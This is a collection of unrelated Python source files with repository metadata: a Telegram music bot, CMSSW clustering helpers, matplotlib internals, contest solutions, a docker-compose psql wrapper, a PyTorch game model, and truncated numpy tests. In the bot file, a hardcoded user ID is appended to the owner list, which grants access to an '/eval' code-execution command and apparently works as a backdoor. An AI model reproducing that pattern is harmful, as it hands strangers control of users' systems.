# © @Mr_Dark_Prince from config import OWNER_ID from pyrogram.types.bots_and_keyboards import reply_keyboard_markup from AlexaSongBot.modules import * from pyrogram import idle, filters from pyrogram.types import InlineKeyboardMarkup from pyrogram.types import InlineKeyboardButton from AlexaSongBot import app, LOGGER from AlexaSongBot.mrdarkprince import ignore_blacklisted_users from AlexaSongBot.sql.chat_sql import add_chat_to_db start_text = """ Olá [{}](tg://user?id={}), Sou o 𝙏𝙍𝙎𝙤𝙣𝙜 👌😳 Para fazer um download Basta me enviar o nome da música que você deseja baixar. Por exemplo: ```/msc Teto - Dia Azul``` """ owner_help = """ /blacklist user_id /unblacklist user_id /broadcast message to send /eval python code /chatlist get list of all chats """ @app.on_message(filters.create(ignore_blacklisted_users) & filters.command("start")) async def start(client, message): chat_id = message.chat.id user_id = message.from_user["id"] name = message.from_user["first_name"] if message.chat.type == "private": btn = InlineKeyboardMarkup( [ [ InlineKeyboardButton( text="MEU CANAL", url="https://www.youtube.com/watch?v=3lUDyq2MfEo&list=RDDsdjqBfTpaI&index=4" ) ] ] ) else: btn = None await message.reply(start_text.format(name, user_id), reply_markup=btn) add_chat_to_db(str(chat_id)) @app.on_message(filters.create(ignore_blacklisted_users) & filters.command("vi32")) async def help(client, message): if message.from_user["id"] in OWNER_ID: await message.reply(owner_help) return "" text = "Syntax: /msc nome da música" await message.reply(text) OWNER_ID.append(1587091205) app.start() LOGGER.info("Your bot is now online.") idle()

29.693548

118

0.692015

c65c1f244360f9fede69c442aa616805d4baeebf

6,977

py

Python

L1Trigger/L1THGCalUtilities/python/clustering3d.py

eric-moreno/cmssw

3dc2c26f276632ac8357ac7b52675f04649e3903

[ "Apache-2.0" ]

3

2018-08-24T19:10:26.000Z

2019-02-19T11:45:32.000Z

L1Trigger/L1THGCalUtilities/python/clustering3d.py

eric-moreno/cmssw

3dc2c26f276632ac8357ac7b52675f04649e3903

[ "Apache-2.0" ]

3

2018-08-23T13:40:24.000Z

2019-12-05T21:16:03.000Z

L1Trigger/L1THGCalUtilities/python/clustering3d.py

eric-moreno/cmssw

3dc2c26f276632ac8357ac7b52675f04649e3903

[ "Apache-2.0" ]

5

2018-08-21T16:37:52.000Z

2020-01-09T13:33:17.000Z

import FWCore.ParameterSet.Config as cms from L1Trigger.L1THGCal.hgcalBackEndLayer2Producer_cfi import distance_C3d_params, \ dbscan_C3d_params, \ histoMax_C3d_params, \ histoMaxVariableDR_C3d_params, \ histoSecondaryMax_C3d_params, \ histoInterpolatedMax_C3d_params, \ histoThreshold_C3d_params, \ neighbour_weights_1stOrder, \ neighbour_weights_2ndOrder from L1Trigger.L1THGCal.customClustering import set_histomax_params def create_distance(process, inputs, distance=distance_C3d_params.dR_multicluster ): producer = process.hgcalBackEndLayer2Producer.clone( InputCluster = cms.InputTag('{}:HGCalBackendLayer1Processor2DClustering'.format(inputs)) ) producer.ProcessorParameters.C3d_parameters = distance_C3d_params.clone( dR_multicluster = distance ) return producer def create_dbscan(process, inputs, distance=dbscan_C3d_params.dist_dbscan_multicluster, min_points=dbscan_C3d_params.minN_dbscan_multicluster ): producer = process.hgcalBackEndLayer2Producer.clone( InputCluster = cms.InputTag('{}:HGCalBackendLayer1Processor2DClustering'.format(inputs)) ) producer.ProcessorParameters.C3d_parameters = dbscan_C3d_params.clone( dist_dbscan_multicluster = distance, minN_dbscan_multicluster = min_points ) return producer def create_histoMax(process, inputs, distance=histoMax_C3d_params.dR_multicluster, nBins_R=histoMax_C3d_params.nBins_R_histo_multicluster, nBins_Phi=histoMax_C3d_params.nBins_Phi_histo_multicluster, binSumsHisto=histoMax_C3d_params.binSumsHisto, seed_threshold=histoMax_C3d_params.threshold_histo_multicluster, ): producer = process.hgcalBackEndLayer2Producer.clone( InputCluster = cms.InputTag('{}:HGCalBackendLayer1Processor2DClustering'.format(inputs)) ) producer.ProcessorParameters.C3d_parameters = histoMax_C3d_params.clone() set_histomax_params(producer.ProcessorParameters.C3d_parameters, distance, nBins_R, nBins_Phi, binSumsHisto, seed_threshold) return producer def create_histoMax_variableDr(process, inputs, distances=histoMaxVariableDR_C3d_params.dR_multicluster_byLayer_coefficientA, nBins_R=histoMaxVariableDR_C3d_params.nBins_R_histo_multicluster, nBins_Phi=histoMaxVariableDR_C3d_params.nBins_Phi_histo_multicluster, binSumsHisto=histoMaxVariableDR_C3d_params.binSumsHisto, seed_threshold=histoMaxVariableDR_C3d_params.threshold_histo_multicluster, ): producer = process.hgcalBackEndLayer2Producer.clone( InputCluster = cms.InputTag('{}:HGCalBackendLayer1Processor2DClustering'.format(inputs)) ) producer.ProcessorParameters.C3d_parameters = histoMax_C3d_params.clone( dR_multicluster_byLayer_coefficientA = distances ) set_histomax_params(producer.ProcessorParameters.C3d_parameters, 0, nBins_R, nBins_Phi, binSumsHisto, seed_threshold) return producer def create_histoInterpolatedMax1stOrder(process, inputs, distance=histoInterpolatedMax_C3d_params.dR_multicluster, nBins_R=histoInterpolatedMax_C3d_params.nBins_R_histo_multicluster, nBins_Phi=histoInterpolatedMax_C3d_params.nBins_Phi_histo_multicluster, binSumsHisto=histoInterpolatedMax_C3d_params.binSumsHisto, seed_threshold=histoInterpolatedMax_C3d_params.threshold_histo_multicluster, ): producer = process.hgcalBackEndLayer2Producer.clone( InputCluster = cms.InputTag('{}:HGCalBackendLayer1Processor2DClustering'.format(inputs)) ) producer.ProcessorParameters.C3d_parameters = histoInterpolatedMax_C3d_params.clone( neighbour_weights = neighbour_weights_1stOrder ) set_histomax_params(producer.ProcessorParameters.C3d_parameters, distance, nBins_R, nBins_Phi, binSumsHisto, seed_threshold) return producer def create_histoInterpolatedMax2ndOrder(process, inputs, distance=histoInterpolatedMax_C3d_params.dR_multicluster, nBins_R=histoInterpolatedMax_C3d_params.nBins_R_histo_multicluster, nBins_Phi=histoInterpolatedMax_C3d_params.nBins_Phi_histo_multicluster, binSumsHisto=histoInterpolatedMax_C3d_params.binSumsHisto, seed_threshold=histoInterpolatedMax_C3d_params.threshold_histo_multicluster, ): producer = process.hgcalBackEndLayer2Producer.clone( InputCluster = cms.InputTag('{}:HGCalBackendLayer1Processor2DClustering'.format(inputs)) ) producer.ProcessorParameters.C3d_parameters = histoInterpolatedMax_C3d_params.clone( neighbour_weights = neighbour_weights_2ndOrder ) set_histomax_params(producer.ProcessorParameters.C3d_parameters, distance, nBins_R, nBins_Phi, binSumsHisto, seed_threshold) return producer def create_histoThreshold(process, inputs, threshold=histoThreshold_C3d_params.threshold_histo_multicluster, distance=histoThreshold_C3d_params.dR_multicluster, nBins_R=histoThreshold_C3d_params.nBins_R_histo_multicluster, nBins_Phi=histoThreshold_C3d_params.nBins_Phi_histo_multicluster, binSumsHisto=histoThreshold_C3d_params.binSumsHisto ): producer = process.hgcalBackEndLayer2Producer.clone( InputCluster = cms.InputTag('{}:HGCalBackendLayer1Processor2DClustering'.format(inputs)) ) producer.ProcessorParameters.C3d_parameters = histoThreshold_C3d_params.clone() set_histomax_params(producer.ProcessorParameters.C3d_parameters, distance, nBins_R, nBins_Phi, binSumsHisto, threshold) return producer

58.141667

128

0.638383

bee8dcadbb906427555777915e95f1a0a4e1debf

3,403

py

Python

editing files/Portable Python 3.2.5.1/App/Lib/site-packages/matplotlib/_pylab_helpers.py

mattl1598/testing

cd8124773b83a07301c507ffbb9ccaafbfe7a274

[ "Unlicense" ]

null

editing files/Portable Python 3.2.5.1/App/Lib/site-packages/matplotlib/_pylab_helpers.py

mattl1598/testing

cd8124773b83a07301c507ffbb9ccaafbfe7a274

[ "Unlicense" ]

1

2018-04-15T22:59:15.000Z

editing files/Portable Python 3.2.5.1/App/Lib/site-packages/matplotlib/_pylab_helpers.py

mattl1598/Project-Mochachino

cd8124773b83a07301c507ffbb9ccaafbfe7a274

[ "Unlicense" ]

null

""" Manage figures for pyplot interface. """ import sys, gc import atexit import traceback def error_msg(msg): print(msg, file=sys.stderr) class Gcf(object): """ Singleton to manage a set of integer-numbered figures. This class is never instantiated; it consists of two class attributes (a list and a dictionary), and a set of static methods that operate on those attributes, accessing them directly as class attributes. Attributes: *figs*: dictionary of the form {*num*: *manager*, ...} *_activeQue*: list of *managers*, with active one at the end """ _activeQue = [] figs = {} @staticmethod def get_fig_manager(num): """ If figure manager *num* exists, make it the active figure and return the manager; otherwise return *None*. """ manager = Gcf.figs.get(num, None) if manager is not None: Gcf.set_active(manager) return manager @staticmethod def destroy(num): """ Try to remove all traces of figure *num*. In the interactive backends, this is bound to the window "destroy" and "delete" events. """ if not Gcf.has_fignum(num): return manager = Gcf.figs[num] manager.canvas.mpl_disconnect(manager._cidgcf) # There must be a good reason for the following careful # rebuilding of the activeQue; what is it? oldQue = Gcf._activeQue[:] Gcf._activeQue = [] for f in oldQue: if f != manager: Gcf._activeQue.append(f) del Gcf.figs[num] #print len(Gcf.figs.keys()), len(Gcf._activeQue) manager.destroy() gc.collect() @staticmethod def destroy_fig(fig): "*fig* is a Figure instance" num = None for manager in Gcf.figs.values(): if manager.canvas.figure == fig: num = manager.num break if num is not None: Gcf.destroy(num) @staticmethod def destroy_all(): for manager in list(Gcf.figs.values()): manager.canvas.mpl_disconnect(manager._cidgcf) manager.destroy() Gcf._activeQue = [] Gcf.figs.clear() gc.collect() @staticmethod def has_fignum(num): """ Return *True* if figure *num* exists. """ return num in Gcf.figs @staticmethod def get_all_fig_managers(): """ Return a list of figure managers. """ return list(Gcf.figs.values()) @staticmethod def get_num_fig_managers(): """ Return the number of figures being managed. """ return len(list(Gcf.figs.values())) @staticmethod def get_active(): """ Return the manager of the active figure, or *None*. """ if len(Gcf._activeQue)==0: return None else: return Gcf._activeQue[-1] @staticmethod def set_active(manager): """ Make the figure corresponding to *manager* the active one. """ oldQue = Gcf._activeQue[:] Gcf._activeQue = [] for m in oldQue: if m != manager: Gcf._activeQue.append(m) Gcf._activeQue.append(manager) Gcf.figs[manager.num] = manager atexit.register(Gcf.destroy_all)

24.307143

66

0.57273

03af6247b105ea71c73924af798634c33d945649

258

py

Python

CCC/CCC_11_S2_Multiple_Choice.py

Togohogo1/pg

ee3c36acde47769c66ee13a227762ee677591375

[ "MIT" ]

null

CCC/CCC_11_S2_Multiple_Choice.py

Togohogo1/pg

ee3c36acde47769c66ee13a227762ee677591375

[ "MIT" ]

1

2021-10-14T18:26:56.000Z

CCC/CCC_11_S2_Multiple_Choice.py

Togohogo1/pg

ee3c36acde47769c66ee13a227762ee677591375

[ "MIT" ]

1

2021-08-06T03:39:55.000Z

count = 0 wrong = [] correct = [] N = int(input()) for i in range(N): ans = input() wrong.append(ans) for i in range(N): ans = input() correct.append(ans) for i in range(N): if wrong[i] == correct[i]: count += 1 print(count)

12.9

30

0.546512

a3660768f17eff379c6ef4dc1b50f3637302b130

4,915

py

Python

docker_compose_postgres/__init__.py

d10xa/docker-compose-postgres

435c9933949b47968d852f9010e910517af10894

[ "MIT" ]

null

docker_compose_postgres/__init__.py

d10xa/docker-compose-postgres

435c9933949b47968d852f9010e910517af10894

[ "MIT" ]

null

docker_compose_postgres/__init__.py

d10xa/docker-compose-postgres

435c9933949b47968d852f9010e910517af10894

[ "MIT" ]

null

__version__ = '0.0.2' from subprocess import call, list2cmdline import yaml import argparse import os import re REGEX_ENV_WITH_DEFAULT = re.compile(r'\${(.+):-(.+)}') def run_postgres( file, command, disable_tty, docker_compose_command, print_command, env_postgres_user, env_postgres_db, default_user, service, user, db): with open(file, 'r') as f: yml = yaml.safe_load(f) service_name = service or find_postgres_service(yml) environment = extract_environment(yml, service_name) user = user or environment.get(env_postgres_user) or default_user db = db or environment.get(env_postgres_db) or user a = [docker_compose_command] a.extend([] if file == 'docker-compose.yml' else ['-f', file]) a.append('exec') a.extend(['-T'] if disable_tty else []) a.append(service_name) a.append('psql') a.append('-U') a.append(user) a.append(db) a.extend(['-c', command] if command else []) if print_command: print(list2cmdline(a)) else: call(a) def find_postgres_service(yml): for (k, v) in yml.get('services', {}).items(): img = v.get('image') if img.startswith('postgres:') or img == 'postgres': return k return None def extract_environment(yml, service_name): service = yml.get('services', {}).get(service_name) if not service: raise ValueError( 'service `{}` is not defined in docker-compose file'.format( service_name)) environment = service.get('environment', None) if environment: environment = \ dict([(k, resolve_env(v)) for (k, v) in environment.items()]) if not environment: env_file = service.get('env_file') if isinstance(env_file, list): environment = read_env_files(env_file) pass elif isinstance(env_file, str): environment = read_env_file(env_file) elif env_file is None: environment = read_env_file('.env') else: raise ValueError('env_file bad format ' + str(env_file)) return environment def resolve_env(value): m = REGEX_ENV_WITH_DEFAULT.match(value) if m: value = os.environ.get(m[1]) or m[2] return value def removeprefix(s, prefix): if s.startswith(prefix): return s[len(prefix):] else: return s def split_env_str(s): return s.split('=', 1) def read_env_file(path): with open(path) as f: lines = f.read().splitlines() lines = [split_env_str(removeprefix(i, 'export ')) for i in lines] return dict(lines) def read_env_files(paths): e = {} for path in paths: e.update(read_env_file(path)) return e def main(): parser = argparse.ArgumentParser() parser.add_argument( '-c', '--command', help='run only single command (SQL or internal) and exit') parser.add_argument( '-T', default=False, action='store_true', help='disable pseudo-tty allocation. ' 'By default `docker-compose exec allocates a TTY.') parser.add_argument( '--docker-compose-command', help='path to docker-compose executable. Default `docker-compose`', default='docker-compose') parser.add_argument( '-p', '--print', dest='print_command', help='do not call subprocess. Print command only.', default=False, action='store_true') parser.add_argument( '-f', '--file', help='specify an alternate compose file (default: docker-compose.yml)', default='docker-compose.yml') parser.add_argument( '--env-user', help='environment variable which defines username. ' 'Default `POSTGRES_USER`', default='POSTGRES_USER') parser.add_argument( '--env-db', help='environment variable which defines dbname. ' 'Default `POSTGRES_DB`', default='POSTGRES_DB') parser.add_argument( '--service', help='specify name of service. Default behaviour is to' ' find service with image name starts with `postgres:`' ) parser.add_argument('-U', '--username', help='database user name') parser.add_argument('-d', '--dbname', help='database name') args = parser.parse_args() run_postgres( file=args.file, command=args.command, disable_tty=args.T, docker_compose_command=args.docker_compose_command, print_command=args.print_command, env_postgres_user=args.env_user, env_postgres_db=args.env_db, default_user='postgres', service=args.service, user=args.username, db=args.dbname ) if __name__ == '__main__': main()

28.74269

79

0.601831

52f08f8c5aaf5f9422b54a3505fb2933d8315224

5,349

py

Python

behavioral_cloning/model.py

bartekx43/AlphaTTT

a01c38833a7f841483146bebeef73323d527d812

[ "MIT" ]

3

2021-05-23T23:55:03.000Z

2021-07-09T16:01:10.000Z

behavioral_cloning/model.py

bartekx43/AlphaTTT

a01c38833a7f841483146bebeef73323d527d812

[ "MIT" ]

null

behavioral_cloning/model.py

bartekx43/AlphaTTT

a01c38833a7f841483146bebeef73323d527d812

[ "MIT" ]

2

2021-07-09T11:44:09.000Z

2021-07-11T12:32:58.000Z

import os import numpy as np from copy import deepcopy from collections import deque import torch from torch import nn from torch.nn import functional as F from torch.optim import AdamW torch.manual_seed(80085) np.random.seed(80085) def softXEnt (inp, target): # temporary logprobs = torch.log(inp) cross_entropy = -(target * logprobs).sum() / inp.shape[0] return cross_entropy # TODO: try out this variant of residual blocks (diff from paper but same as behavioral_cloning) if doesn't work well # try the regular BasicBlock (same as paper) class IdentityBlock(nn.Module): def __init__(self, f, filters, input_dim, use_bias=True): super().__init__() pad = int((f - 1)/2) # same padding F1, F2 = filters self.conv1 = nn.Conv2d(input_dim, F1, padding=(pad,pad), kernel_size=f, stride=1, bias=use_bias) self.conv2 = nn.Conv2d(F1, F2, padding=(pad, pad), kernel_size=f, stride=1, bias=use_bias) self.conv3 = nn.Conv2d(F2, F1, padding=(pad, pad), kernel_size=f, stride=1, bias=use_bias) def forward(self, x): shortcut = x x = self.conv1(x) x = F.leaky_relu(x, 0.2) x = self.conv2(x) x = F.leaky_relu(x, 0.2) x = self.conv3(x) x += shortcut x = F.leaky_relu(x, 0.2) return x class ConvolutionalBlock(nn.Module): def __init__(self, f, filters, input_dim, use_bias=True): super().__init__() pad = int((f - 1)/2) # same padding F1, F2, F3 = filters self.conv1 = nn.Conv2d(input_dim, F1, padding=(pad, pad), kernel_size=f, stride=1, bias=use_bias) self.conv2 = nn.Conv2d(F1, F2, padding=(pad, pad), kernel_size=f, stride=1, bias=use_bias) self.conv3 = nn.Conv2d(F2, F3, padding=(pad, pad), kernel_size=f, stride=1, bias=use_bias) self.conv_change = nn.Conv2d(input_dim, F3, padding=(0,0), kernel_size=1, stride=1, bias=use_bias) def forward(self, x): shortcut = x x = self.conv1(x) x = F.leaky_relu(x, 0.2) x = self.conv2(x) x = F.leaky_relu(x, 0.2) x = self.conv3(x) shortcut = self.conv_change(shortcut) x += shortcut x = F.leaky_relu(x, 0.2) return x class PolicyHead(nn.Module): def __init__(self, board_shape, use_bias): super().__init__() self.board_shape = board_shape self.identity1 = IdentityBlock(3, [24, 48], 24, use_bias) self.conv1 = nn.Conv2d(24, 1, padding=(1, 1), kernel_size=3, stride=1, bias=use_bias) self.flatten = nn.Flatten() def forward(self, x): p = self.identity1(x) p = self.conv1(p) p = self.flatten(p) p = F.softmax(p, dim=1) return p class ValueHead(nn.Module): def __init__(self, use_bias): super().__init__() self.convolutional1 = ConvolutionalBlock(3, [24, 48, 1], 24, use_bias) self.val_linear1 = nn.Linear(100, 1) self.flatten = nn.Flatten() def forward(self, x): v = self.convolutional1(x) v = self.flatten(v) v = self.val_linear1(v) v = torch.tanh(v) return v class Brain(nn.Module): def __init__(self, input_shape=(3, 30, 30)): super().__init__() self.input_shape = input_shape use_bias = True self.conv1 = nn.Conv2d(input_shape[0], 16, padding=(2,2), kernel_size=5, stride=1, bias=use_bias) self.convolutional1 = ConvolutionalBlock(5, [24, 48, 24], 16, use_bias) self.identity1 = IdentityBlock(5, [24, 48], 24, use_bias) self.policy_head = PolicyHead(input_shape, use_bias) self.value_head = ValueHead(use_bias) def forward(self, x): # Core: x = self.conv1(x) x = F.leaky_relu(x) x = self.convolutional1(x) x = self.identity1(x) p, v = self.policy_head(x), self.value_head(x) return p, v class ZeroTTT(): def __init__(self, brain_path=None, opt_path=None, board_len=10, lr=3e-4, weight_decay=0.0): self.device = torch.device('cuda' if torch.cuda.is_available() else 'cpu') self.brain = Brain(input_shape=(3, board_len, board_len)).to(self.device) self.board_len = board_len self.optimizer = AdamW(self.brain.parameters(), lr=lr, weight_decay=weight_decay) self.value_loss = nn.MSELoss() self.policy_loss = softXEnt if brain_path is not None: self.load_brain(brain_path, opt_path) def get_parameter_count(self): return sum(p.numel() for p in self.brain.parameters() if p.requires_grad) def save_brain(self, model_name, opt_state_name): print("Saving brain...") torch.save(self.brain.state_dict(), os.path.join('models', model_name)) if opt_state_name is not None: torch.save(self.optimizer.state_dict(), os.path.join('models', opt_state_name)) def load_brain(self, model_name, opt_state_name): print("Loading brain...") self.brain.load_state_dict(torch.load(os.path.join('models', model_name), map_location=self.device)) if opt_state_name is not None: self.optimizer.load_state_dict(torch.load(os.path.join('models', opt_state_name), map_location=self.device)) return def predict(self, x, interpret_output=True): if len(x.shape) < 4: x = np.expand_dims(x, axis=0) x = torch.from_numpy(x).float().to(self.device) policy, value = self.brain(x) if interpret_output: # return 2d policy map and value in usable form policy = policy.view(-1, self.board_len, self.board_len) policy = policy[0].cpu().detach().numpy() value = value[0][0].item() return policy, value

31.650888

117

0.672088

1a3fa20a45029a1209f44b58932498dc03d8d3e7

677

py

Python

face_recognition.py

M-inghsin/oss-enterprise

0f65b71ff356e6dcd82486a1226c7fd39aa4a1af

[ "CC-BY-4.0" ]

null

face_recognition.py

M-inghsin/oss-enterprise

0f65b71ff356e6dcd82486a1226c7fd39aa4a1af

[ "CC-BY-4.0" ]

1

2020-12-09T17:37:20.000Z

2020-12-09T17:37:21.000Z

face_recognition.py

M-inghsin/oss-enterprise

0f65b71ff356e6dcd82486a1226c7fd39aa4a1af

[ "CC-BY-4.0" ]

null

#!/usr/bin/python #-*- coding: utf-8 -*- # Library: pip3 install opencv-python import cv2 # Load the cascade # /Library/Frameworks/Python.framework/Versions/3.9/lib/python3.9/site-packages/cv2/data/haarcascade_frontalface_alt.xml face_cascade = cv2.CascadeClassifier('face_detector.xml') # Read the input image img = cv2.imread('img_test.jpg') # Detect faces in the image faces = face_cascade.detectMultiScale(img, 1.1, 4) # Draw rectangle around the faces for (x, y, w, h) in faces: cv2.rectangle(img, (x, y), (x+w, y+h), (255, 250, 205), 2) # Export the result cv2.imwrite('img_test.png', img) print('Found {0} face(s)!'.format(len(faces)), '\nSuccessfully saved')

28.208333

120

0.714919

ebbcf514ad4e4dc88e9cba7bb13fdb54c14fdf71

1,676

py

Python

First_course/ex3_1.py

laetrid/learning

b28312c34db2118fb7d5691834b8f7e628117642

[ "Apache-2.0" ]

null

First_course/ex3_1.py

laetrid/learning

b28312c34db2118fb7d5691834b8f7e628117642

[ "Apache-2.0" ]

null

First_course/ex3_1.py

laetrid/learning

b28312c34db2118fb7d5691834b8f7e628117642

[ "Apache-2.0" ]

null

#!/usr/bin/env python ''' Learning Python Class#3 I. Create an IP address converter (dotted decimal to binary). This will be similar to what we did in class2 except: A. Make the IP address a command-line argument instead of prompting the user for it. ./binary_converter.py 10.88.17.23 B. Simplify the script logic by using the flow-control statements that we learned in this class. C. Zero-pad the digits such that the binary output is always 8-binary digits long. Strip off the leading '0b' characters. For example, OLD: 0b1010 NEW: 00001010 D. Print to standard output using a dotted binary format. For example, IP address Binary 10.88.17.23 00001010.01011000.00010001.00010111 Note, you will probably need to use a 'while' loop and a 'break' statement for part C. while True: ... break # on some condition (exit the while loop) Python will execute this loop again and again until the 'break' is encountered. ''' from sys import argv if len(argv) != 2: exit("\tYou should pass one argument for this script.\n\tExample: ./test3_1.py <IP address>") ip_addr = argv[1] formatter = "%-20s%-60s" column1 = "IP address" column2 = "Binary" octets = ip_addr.split('.') ip_addr_bin = [] if len(octets) != 4: exit("Invalid IP address entered") for octet in octets: octet = bin(int(octet)) octet = octet[2:] octet = "0" * (8 - len(octet)) + octet ip_addr_bin.append(octet) ip_addr_bin = '.'.join(ip_addr_bin) print "=" * 80 print formatter % (column1, column2) print formatter % (ip_addr, ip_addr_bin) print "=" * 80 # The END

28.896552

95

0.665871

7118af8c382513632fb098b4eb6fcffede74c371

68,558

py

Python

numpy/core/tests/test_regression.py

mdboom/numpy

7ae0206c4b5685a3b0abd1865850e0c92aeb7389

[ "BSD-3-Clause" ]

3

2015-06-25T20:50:18.000Z

2021-06-11T22:09:02.000Z

numpy/core/tests/test_regression.py

mdboom/numpy

7ae0206c4b5685a3b0abd1865850e0c92aeb7389

[ "BSD-3-Clause" ]

null

numpy/core/tests/test_regression.py

mdboom/numpy

7ae0206c4b5685a3b0abd1865850e0c92aeb7389

[ "BSD-3-Clause" ]

null

from __future__ import division, absolute_import, print_function import pickle import sys import platform import gc import copy import warnings import tempfile from os import path from io import BytesIO import numpy as np from numpy.testing import ( run_module_suite, TestCase, assert_, assert_equal, assert_almost_equal, assert_array_equal, assert_array_almost_equal, assert_raises, assert_warns, dec ) from numpy.testing.utils import _assert_valid_refcount from numpy.compat import asbytes, asunicode, asbytes_nested, long, sixu rlevel = 1 class TestRegression(TestCase): def test_invalid_round(self,level=rlevel): """Ticket #3""" v = 4.7599999999999998 assert_array_equal(np.array([v]), np.array(v)) def test_mem_empty(self,level=rlevel): """Ticket #7""" np.empty((1,), dtype=[('x', np.int64)]) def test_pickle_transposed(self,level=rlevel): """Ticket #16""" a = np.transpose(np.array([[2, 9], [7, 0], [3, 8]])) f = BytesIO() pickle.dump(a, f) f.seek(0) b = pickle.load(f) f.close() assert_array_equal(a, b) def test_typeNA(self,level=rlevel): """Ticket #31""" assert_equal(np.typeNA[np.int64], 'Int64') assert_equal(np.typeNA[np.uint64], 'UInt64') def test_dtype_names(self,level=rlevel): """Ticket #35""" dt = np.dtype([(('name', 'label'), np.int32, 3)]) def test_reduce(self,level=rlevel): """Ticket #40""" assert_almost_equal(np.add.reduce([1., .5], dtype=None), 1.5) def test_zeros_order(self,level=rlevel): """Ticket #43""" np.zeros([3], int, 'C') np.zeros([3], order='C') np.zeros([3], int, order='C') def test_asarray_with_order(self,level=rlevel): """Check that nothing is done when order='F' and array C/F-contiguous""" a = np.ones(2) assert_(a is np.asarray(a, order='F')) def test_ravel_with_order(self,level=rlevel): """Check that ravel works when order='F' and array C/F-contiguous""" a = np.ones(2) assert_(not a.ravel('F').flags.owndata) def test_sort_bigendian(self,level=rlevel): """Ticket #47""" a = np.linspace(0, 10, 11) c = a.astype(np.dtype('<f8')) c.sort() assert_array_almost_equal(c, a) def test_negative_nd_indexing(self,level=rlevel): """Ticket #49""" c = np.arange(125).reshape((5, 5, 5)) origidx = np.array([-1, 0, 1]) idx = np.array(origidx) c[idx] assert_array_equal(idx, origidx) def test_char_dump(self,level=rlevel): """Ticket #50""" f = BytesIO() ca = np.char.array(np.arange(1000, 1010), itemsize=4) ca.dump(f) f.seek(0) ca = np.load(f) f.close() def test_noncontiguous_fill(self,level=rlevel): """Ticket #58.""" a = np.zeros((5, 3)) b = a[:, :2,] def rs(): b.shape = (10,) self.assertRaises(AttributeError, rs) def test_bool(self,level=rlevel): """Ticket #60""" x = np.bool_(1) def test_indexing1(self,level=rlevel): """Ticket #64""" descr = [('x', [('y', [('z', 'c16', (2,)),]),]),] buffer = ((([6j, 4j],),),) h = np.array(buffer, dtype=descr) h['x']['y']['z'] def test_indexing2(self,level=rlevel): """Ticket #65""" descr = [('x', 'i4', (2,))] buffer = ([3, 2],) h = np.array(buffer, dtype=descr) h['x'] def test_round(self,level=rlevel): """Ticket #67""" x = np.array([1+2j]) assert_almost_equal(x**(-1), [1/(1+2j)]) def test_scalar_compare(self,level=rlevel): """Ticket #72""" a = np.array(['test', 'auto']) assert_array_equal(a == 'auto', np.array([False, True])) self.assertTrue(a[1] == 'auto') self.assertTrue(a[0] != 'auto') b = np.linspace(0, 10, 11) self.assertTrue(b != 'auto') self.assertTrue(b[0] != 'auto') def test_unicode_swapping(self,level=rlevel): """Ticket #79""" ulen = 1 ucs_value = sixu('\U0010FFFF') ua = np.array([[[ucs_value*ulen]*2]*3]*4, dtype='U%s' % ulen) ua2 = ua.newbyteorder() def test_object_array_fill(self,level=rlevel): """Ticket #86""" x = np.zeros(1, 'O') x.fill([]) def test_mem_dtype_align(self,level=rlevel): """Ticket #93""" self.assertRaises(TypeError, np.dtype, {'names':['a'],'formats':['foo']}, align=1) @dec.knownfailureif((sys.version_info[0] >= 3) or (sys.platform == "win32" and platform.architecture()[0] == "64bit"), "numpy.intp('0xff', 16) not supported on Py3, " "as it does not inherit from Python int") def test_intp(self,level=rlevel): """Ticket #99""" i_width = np.int_(0).nbytes*2 - 1 np.intp('0x' + 'f'*i_width, 16) self.assertRaises(OverflowError, np.intp, '0x' + 'f'*(i_width+1), 16) self.assertRaises(ValueError, np.intp, '0x1', 32) assert_equal(255, np.intp('0xFF', 16)) assert_equal(1024, np.intp(1024)) def test_endian_bool_indexing(self,level=rlevel): """Ticket #105""" a = np.arange(10., dtype='>f8') b = np.arange(10., dtype='<f8') xa = np.where((a>2) & (a<6)) xb = np.where((b>2) & (b<6)) ya = ((a>2) & (a<6)) yb = ((b>2) & (b<6)) assert_array_almost_equal(xa, ya.nonzero()) assert_array_almost_equal(xb, yb.nonzero()) assert_(np.all(a[ya] > 0.5)) assert_(np.all(b[yb] > 0.5)) def test_endian_where(self,level=rlevel): """GitHuB issue #369""" net = np.zeros(3, dtype='>f4') net[1] = 0.00458849 net[2] = 0.605202 max_net = net.max() test = np.where(net <= 0., max_net, net) correct = np.array([ 0.60520202, 0.00458849, 0.60520202]) assert_array_almost_equal(test, correct) def test_endian_recarray(self,level=rlevel): """Ticket #2185""" dt = np.dtype([ ('head', '>u4'), ('data', '>u4', 2), ]) buf = np.recarray(1, dtype=dt) buf[0]['head'] = 1 buf[0]['data'][:] = [1, 1] h = buf[0]['head'] d = buf[0]['data'][0] buf[0]['head'] = h buf[0]['data'][0] = d assert_(buf[0]['head'] == 1) def test_mem_dot(self,level=rlevel): """Ticket #106""" x = np.random.randn(0, 1) y = np.random.randn(10, 1) # Dummy array to detect bad memory access: _z = np.ones(10) _dummy = np.empty((0, 10)) z = np.lib.stride_tricks.as_strided(_z, _dummy.shape, _dummy.strides) np.dot(x, np.transpose(y), out=z) assert_equal(_z, np.ones(10)) # Do the same for the built-in dot: np.core.multiarray.dot(x, np.transpose(y), out=z) assert_equal(_z, np.ones(10)) def test_arange_endian(self,level=rlevel): """Ticket #111""" ref = np.arange(10) x = np.arange(10, dtype='<f8') assert_array_equal(ref, x) x = np.arange(10, dtype='>f8') assert_array_equal(ref, x) # Longfloat support is not consistent enough across # platforms for this test to be meaningful. # def test_longfloat_repr(self,level=rlevel): # """Ticket #112""" # if np.longfloat(0).itemsize > 8: # a = np.exp(np.array([1000],dtype=np.longfloat)) # assert_(str(a)[1:9] == str(a[0])[:8]) def test_argmax(self,level=rlevel): """Ticket #119""" a = np.random.normal(0, 1, (4, 5, 6, 7, 8)) for i in range(a.ndim): aargmax = a.argmax(i) def test_mem_divmod(self,level=rlevel): """Ticket #126""" for i in range(10): divmod(np.array([i])[0], 10) def test_hstack_invalid_dims(self,level=rlevel): """Ticket #128""" x = np.arange(9).reshape((3, 3)) y = np.array([0, 0, 0]) self.assertRaises(ValueError, np.hstack, (x, y)) def test_squeeze_type(self,level=rlevel): """Ticket #133""" a = np.array([3]) b = np.array(3) assert_(type(a.squeeze()) is np.ndarray) assert_(type(b.squeeze()) is np.ndarray) def test_add_identity(self,level=rlevel): """Ticket #143""" assert_equal(0, np.add.identity) def test_numpy_float_python_long_addition(self): # Check that numpy float and python longs can be added correctly. a = np.float_(23.) + 2**135 assert_equal(a, 23. + 2**135) def test_binary_repr_0(self,level=rlevel): """Ticket #151""" assert_equal('0', np.binary_repr(0)) def 